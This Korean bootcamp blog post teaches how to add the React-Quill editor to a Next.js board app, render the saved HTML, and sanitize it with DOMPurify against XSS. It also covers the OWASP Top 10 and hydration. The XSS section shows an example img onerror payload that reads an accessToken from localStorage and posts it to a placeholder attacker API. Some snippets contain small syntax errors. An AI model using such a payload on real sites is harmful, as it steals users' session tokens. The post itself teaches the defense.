27일차 - 웹 에디터(React-Quill)

류연찬·2023년 5월 7일
0

Codecamp FE07

목록 보기
27/39

웹 에디터(React-Quill)

게시물을 등록하는 게시물 등록 페이지를 만들어봅시다.

등록 페이지에는 기본적으로 글을 작성한 작성자와 작성할 내용을 담는 부분이 필요할 것입니다.

input과 textarea 태그를 이용해서 다음과 같이 입력란을 만들어 줄 수 있습니다.

그런데, textarea 태그에서 줄바꿈으로 내용을 입력하고 글을 등록했을 때

가져온 데이터를 보면 아래와 같은 결과가 나타납니다.

"어? 나는 줄 바꿈을 했는데? 왜 한 줄로 붙어 나오지?"

textarea 태그의 특성상, 내용을 입력할 때 줄 바꿈을 주었더라도

내용 데이터를 출력할 때에 줄 바꿈에 대한 결과를 따로 처리해주지 않으면

한 줄로 내용을 출력하게 됩니다.

그 외에도 내용 중에서 더 중요한 부분을 표시하고 싶다거나

폰트에 색깔을 추가하고 싶다거나 하는 등의 스타일 지정이 필요할 수도 있습니다.

이러한 textarea의 단점들을 보완해서 좀 더 스타일리쉬하게 내용을 작성할 수 있도록 도와주는

React-Quill 웹 에디터 라이브러리를 적용해보도록 하겠습니다.

📖 React-Quill Docs
https://www.npmjs.com/package/react-quill

💡 React-Quill 이외에도 React Draft Wysiwyg, TOAST UI Editor 등의
웹 에디터 라이브러리가 널리 쓰이고 있습니다.



웹 에디터 적용하기

우선 react-quill을 설치합니다.

npm 사용자 : npm install react-quill
yarn 사용자 : yarn add react-quill

설치가 완료되었다면, 웹 에디터를 추가하고 싶은 페이지의 최상단에서 ReactQuill을 호출합니다.

ReactQuill 에서 사용될 스타일 CSS 파일까지 함께 호출해서 스타일도 함께 적용해줍니다.

import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow,css';

라이브러리를 호출했다면,

웹 에디터를 사용하고 싶은 부분에 <ReactQuill /> 처럼 입력해서

웹 에디터를 사용할 수 있게 됩니다.

그리고 docs를 참고해서 ReactQuill에 onChange 함수를 넣어줍니다.

💡 ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소입니다.
이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념입니다.

여기까지 적용됐다면 이제 프로젝트에 웹 에디터를 사용할 수 있게 되었습니다.

프로젝트 페이지에서 한 번 새로고침을 해봅시다. 잘 작동하시나요?

혹시 이런 에러 페이지가 뜨지 않나요?

Next.js 프로젝트를 사용하고 있다면 뜰 수 밖에 없는 정상적인 에러입니다.

Next.js 는 기본적으로 서버사이드 렌더링 을 지원하는데,

서버에서 페이지를 미리 렌더링 하는 단계에서는

브라우저 상이 아니기 때문에 window나 document가 존재하지 않습니다.

window 또는 document object 를 선언하기 전 이기 때문에

document가 선언되지 않았다는 에러가 발생하는 것입니다.

💡 서버에서 페이지를 미리 렌더링하는 단계를 pre-rendering이라고 합니다.

이 문제를 해결하기 위해서는 document 가 선언된 시점 이후에 React-Quill을 import 해야 합니다.

Next.js 의 dynamic import 방식을 사용하면 이러한 동작을 수행할 수 있습니다.

기존의 import 코드를 아래의 코드로 대체해봅시다.

import dynamic from 'next/dynamic';

const ReactQuill = dynamic( () => import('react-quill'), {
    ssr : false
})

Next.js에서 제공하는 dynamic은, 해당 모듈을 호출하는 시점을

document 에 대한 정보가 선언된 후의 시점으로 옮겨서 호출을 할 수 있게 도와줍니다.

즉, 빌드되는 시점에서 호출하지 않고 런타임 시점에서 모듈을 호출 해서

이미 documnet 가 선언되어 있는 시점의 환경을 제공해줄 수 있습니다.

그럼 웹 에디터가 잘 적용되었는지 확인해볼까요?

import { useForm } from "react-hook-form";

// import ReactQuill from "react-quill";
// 다이나믹 임포트로 변경하기
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";

const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });

export default function WebEditorPage() {
  const { register } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);
  };

  // if (process.browser) {
  //   console.log("나는 브라우저다 !!");
  // } else {
  //   console.log("나는 프론트엔드 서버다 !!");
  // }

  return (
    <div>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}

하지만 onChange 요소가 들어간 ReactQuill이라는 컴포넌트에는 register가 적용되지 않습니다.

어떻게 하면 useForm이 contents에 입력된 데이터까지 인식하도록 할 수 있을까요?

setValue 요소를 이용해서

react-hook-form의 contents라는 공간에 강제로 값을 집어 넣어주면 됩니다.

const { register, setValue} = useForm({
    mode: "onChange",
  });

const handleChange = (value: string) => {
  console.log(value);

  // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
  setValue("contents", value);
};

조건부 렌더링을 이용해서

React-Quill에 값이 입력되었다가 지워졌을 때 남는 찌꺼기 태그도 없애줍니다.

const { register, setValue } = useForm({
    mode: "onChange",
  });

const handleChange = (value: string) => {
  console.log(value);

  // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
  setValue("contents", value === "<p><br></p>" ? "" : value);
};

여기까지 진행하면 웹 에디터에 입력된 값이 콘솔에 정상적으로 찍히는 모습을 확인할 수 있습니다.

하지만 값만 변경되었을 뿐, contents의 입력 여부는 검증할 수 없습니다.

그렇기 때문에 React-Quill에서 제공하는 trigger 요소를 이용하여

onChange여부를 강제로 변경해주어야 합니다.

const { register, setValue, trigger } = useForm({
    mode: "onChange",
  });

const handleChange = (value: string) => {
  console.log(value);

  // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
  setValue("contents", value === "<p><br></p>" ? "" : value);

  // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
  trigger("contents");
};

여기까지 완료하면 React-Quill에 입력된 값이 react-hook-form에 동일하게 들어가고,

입력 여부도 검증할 수 있게 됩니다.

react-hook-form을 이용해서 게시글 등록하기

이제 웹 에디터와 react-hook-form를 이용해 입력한 내용을 게시글로 등록해봅시다.

먼저 만들어 놓은 입력 태그들을 form으로 감싸고, form에 onSubmit 요소를 더해줍니다.

const WebEditorPage() {
  const router = useRouter();
  const { register, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  return (
    <form onSubmit={}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

export default WebEditorPage

react-hook-form의 handleSubmit을 이용해서

submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣습니다.

const WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = (data: IFormValues) => {
		// form submit시 실행할 함수
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

export default WebEditorPage

해당 함수 안에 createBoard 요청을 넣습니다.

그리고 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해줍니다.

export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = async (data: IFormValues) => {
    if (!(data.writer && data.password && data.title && data.contents)) {
      Modal.warning({ content: "필수 입력 사항입니다." });
      return;
    }

    try {
      const result = await createBoard({
        variables: {
          createBoardInput: {
            writer: data.writer,
            password: data.password,
            title: data.title,
            contents: data.contents,
          },
        },
      });
			// 완료된 페이지로 이동!!
      router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
    } catch (error) {
      if (error instanceof Error) Modal.error({ title: error.message });
    }
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

다이나믹 라우팅으로 연결된 경로로 이동해서

상세 페이지를 다음과 같이 만들어줍니다.

import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import {
  IQuery,
  IQueryFetchBoardArgs,
} from "../../../src/commons/types/generated/types";
import Dompurify from "dompurify";

const FETCH_BOARD = gql`
  query fetchBoard($boardId: ID!) {
    fetchBoard(boardId: $boardId) {
      _id
      writer
      title
      contents
    }
  }
`;

const WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div>내용: {data?.fetchBoard.contents}</div>
    </div>
  );
}

export default WebEditorDetail

웹 에디터로 등록한 게시글 보여주기

자, 이제 입력된 웹 에디터 내용을 화면에 출력해보려고 합니다.

작성 페이지에서 게시글을 입력하고 게시글 등록 요청을 보내봅시다.

그러면 상세 페이지에서 다음과 같이 HTML 태그가 포함된 내용이 들어오는 것을 볼 수 있습니다.

웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문에

HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태 로 화면에 출력해야 합니다.

그런데 우리가 사용하고 있는 React 프로젝트에서는

기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입 할 수 없게 설정되어 있습니다.

그럼에도 불구하고 HTML 태그를 사용하고자 한다면

아래와 같은 코드로 HTML 태그를 삽입 할 수 있습니다.

<div dangerouslySetInnerHTML={{ __html :  HTML 태그 추가  }} />

dangerouslySetInnerHTML 는 div 또는 span 태그에 제공되는 속성인데, 아래와 같은 의미를 담고 있습니다.

🚨 "당신은 프로젝트에 HTML 태그를 추가하려는 행위가 위험하다는 걸 알고 있다.
그럼에도 HTML 태그를 추가하고 싶다면 추가하려는 HTML 태그를 작성해라."

위험을 감수하고 HTML 태그를 추가할 때 사용하는 속성이며, __html 속성 값에 추가하려는 데이터를 입력해주면 됩니다.

상세 페이지에 dangerouslySetInnerHTML 속성을 적용하면 다음과 같은 형태가 됩니다.

const WebEditorDetail = () => {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );
}

export default WebEditorDetail

💡 div 및 span 태그 로 dangerouslySetInnerHTML 를 사용한다면
반드시 빈 태그 형식으로 작성해주셔야 합니다.

자, 이제 웹 에디터로 작성된 내용들이 제대로 웹 페이지에 출력 되는지 확인해보겠습니다.

아래와 같은 구조로 웹 에디터로 입력된 HTML 데이터를

dangerouslySetInnerHTML 속성을 이용해 div 태그에 입력해주면

HTML 태그들이 적용된 결과가 웹페이지에 출력 되는 것을 확인할 수 있습니다.



크로스 사이트 스크립트(XSS)

지금까지 배운 것 처럼 dangerouslySetInnerHTML을 이용하면

웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있습니다.

하지만 이러한 것은 공격 받을 여지가 매우 큰 위험한 방식입니다.

그 중 대표적인 공격 사례를 한 가지 소개해드리겠습니다.

<img src="http://images.png" />

위와 같은 img태그에 onerror라는 속성을 더해,

해당 태그를 dangerouslySetInnerHTML 속성을 이용해 불러왔을 때

사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있습니다.

💡 onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소입니다. 일반적으로는 대체 이미지 경로를 입력합니다.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 됩니다.

예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있습니다.

예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 합니다.

그렇다면 이러한 공격은 어떻게 방어할 수 있을까요?

지금과 같은 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리를 이용하면 됩니다.

우리는 그 중 DOMPurify를 이용해 보겠습니다.

npm install dompurify
npm install -D @types/dompurify

or

yarn add dompurify
yarn add -D @types/dompurify

dompurify npm 사이트

코드에 DOMPutify를 적용해서 안정성을 확보해봅시다.

<div
	dangerouslySetInnerHTML={{
		__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
	}}
/>

그런데 이렇게 코드를 작성하면 서버 사이드 렌더링 에러가 발생합니다.

서버 사이드 렌더링 에러를 해결하기 위해서는 다음과 같은 조건부 렌더링을 추가해주면 됩니다.

{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}

OWASP TOP 10

지금까지 알아본 크로스 사이트 스크립트처럼 웹에는 여러 종류의 공격들이 있습니다. 공격이 점점 고도화되는 만큼 사람들도 보안에 신경을 많이 쓰게 되었습니다.

OWASPOpen Web Application Security Project의 약자로 오픈소스 웹 애플리케이션 보안 프로젝트 입니다.

주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며, 3-4년에 한 번씩 정기적으로 업데이트 됩니다.

OWASP TOP 10:2021

A01 : Broken Access Control (접근 권한 취약점)
A02 : Cryptographic Failures (암호화 오류)
A03 : Injection (인젝션)
A04 : Insecure Design (안전하지 않은 설계)
A05 : Security Misconfiguration (보안설정오류)
A06 : Vulnerable and Outdated Components (취약하고 오래된 요소)
A07 : Identification and Authentication Failures (식별 및 인증 오류)
A08 : Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
A09 : Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
A10 : Server-Side Request Forgery (서버 측 요청 위조)

매년OWASP 상위권을 유지하는 것 중 하나가 Injection 입니다.

SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데, 이 조건을 직접 조작하여 공격하는 기법입니다. 현재는 이것을 ORM을 사용해 막고 있습니다.

그 외 여러 공격들이 있으며 OWASP 발표에서 내용을 더 상세히 확인 할 수 있습니다.

Hydration Issue

웹 에디터 detail 페이지의 실습 코드를 다음과 같이 수정해봅시다.

return (
  <div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser && (
      <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
    )}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

yarn dev 해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인 것을 확인할 수 있습니다.

Hydration Issue 때문에 이러한 현상이 일어납니다.

구체적인 원인을 한 번 살펴봅시다.

Next.js는 위와 같은 과정을 거쳐 페이지를 그립니다.

이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에, 프론트엔드 서버에서 pre-rendering된 결과물브라우저에서 그려진 결과물 의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용됩니다.

그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 합니다.

예시 태그를 다음과 같이 수정하면 오류 없이 화면에 렌링되는 것을 확인할 수 있습니다.

return (
  <div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser ? (
      <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
    ) : (
      <div style={{color: "green"}} />
    )}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

0개의 댓글